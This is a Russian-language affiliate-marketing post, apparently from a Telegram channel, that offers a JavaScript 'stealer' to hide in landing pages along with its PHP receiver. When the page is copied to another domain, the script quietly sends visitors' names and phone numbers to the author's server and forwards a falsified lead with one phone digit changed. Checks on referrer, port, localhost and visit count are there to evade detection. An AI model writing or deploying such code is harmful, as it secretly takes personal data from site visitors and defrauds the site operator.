Всем привет! Сегодня поделюсь с Вами моей разработкой. А именно скрипт на преленд/ленд, который будит стилить, то есть воровать лиды, если ваш ленд/преленд был скопирован.
Подписывайтесь на канал – https://t.me/deepcpa!
Что умеет скрипт?
- Это несколько степеней проверки, чтобы он срабатывал только, когда зашел реальный человек(проверка протокола, порта, реффера, кол-во заходов, на реальном ли домене запущен)
- Можно указать % стила(от 1 до 100%)
- Не срабатывает, если он на вашем домене
- Обрабатывает все формы
- Отправляет жертве, то есть тому, кто скопировал ваш ленд/ преленд, такой же лид, только с 1 изменённой цифрой в номере телефона
- К скрипту есть комменты, так что каждый разберется
Как его интегрировать, тут уже на ваше усмотрение.
Скрипт, который нужно добавить на ленд/преленд, главное чтобы инпуты имени и номера были с атрибутами name=»name» и name=»phone»
// Здесь укажите % срабатываний скриптаconst prc = 100//Указываем путь к php файлу обработчикуconst url = 'тут ссылка на обработчик'//Указываем домен где будет находиться прокла/лендconst originalHost = `ваш домен без https:// и /`const checkedHost = window.location.hostconst fullUrl = window.location.href//запускаем скриптstart()function start() {    let userChek = checkUser()    //проверяем прошел ли юзер проверку    if (!userChek) return    let random = isRandom()    //проверяем попали ли мы в указанный %    if (random) stealer()}function stealer() {    //проверяем спизжен ли ленд    if (checkedHost == originalHost) return    let forms = document.querySelectorAll('form')    forms.forEach(element => {        element.addEventListener('submit', (e) => {            e.preventDefault()            let name = e.target.querySelector('[name="name"]').value            let phone = e.target.querySelector('[name="phone"]').value            //формируем данные для отправки            let data = {                host: fullUrl,                name: name,                phone: phone            }            //отправляем запрос            sendData(data)                .then(res => {                    //Cоздаем копию формы и меняй последнюю цифру, затем ее отправляем                    var dupForm = e.target.cloneNode(true);                    dupForm.querySelector('[name="phone"]').value = `${phone.slice(0, -1)}${Math.floor(Math.random() * 9)}`                    dupForm.style.display = 'none'                    let body = document.querySelector('body')                    body.append(dupForm)                    dupForm.submit();                })        })    });}function isRandom() {    let rnd = Math.floor(Math.random() * 101)    if (rnd <= prc) return true    return false}function checkUser() {    //    // максимальное количество заходов при котором сработает скрипт    const AvalibleEntry = 2    let protocol = window.location.protocol    let port = window.location.port    let host = window.location.host    let reffer = document.referrer    let status = false    //проверяем зашел ли пользователь с http или https    if (protocol == 'http:' || protocol == 'https:') status = true    if (!status) return false    //проверяем есть ли порт у юзера    if (port != '') return false    //проверяем не запущен ли на сервере    if (host.includes('localhost') || host.includes('127.0.0.1')) return false    //проверяем на наличие рефера    if (reffer == '') return false    //определяем количество заходов конкретного юзера    let userCount = localStorage.getItem('count')    //если больше 2 не пропускаем    if (userCount >= AvalibleEntry) return false    //если меньше то определяем текущее значение и прибавляем + 1    userCount == null ? localStorage.setItem('count', 1) : localStorage.setItem('count', +userCount + 1)    return true}function sendData(propse) {    return fetch(url, {        method: 'post',        body: JSON.stringify(propse)    })        .then(response => response.json())        .then(json => (json))        .then(res => {            this.data = res            return res        })}
Скрипт обработчика, он только получает данные с номером, именем и хостом с которого отправили лид. Дальше используйте как вам нужно, хоть сразу в пп отправляйте, ну или в телегу.
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST');
header("Access-Control-Allow-Headers: *");
$payload = file_get_contents('php://input');
$payload = json_decode($payload, true);
$phone = $payload['phone'];
$name = $payload['name'];
$url = $payload['host'];
?>
Нужна тех. помощь пишите в телеграм!
 
					 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	
 
										 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
																	 
										 
																	 
										 
																	 
																	 
																	 
																	 
																	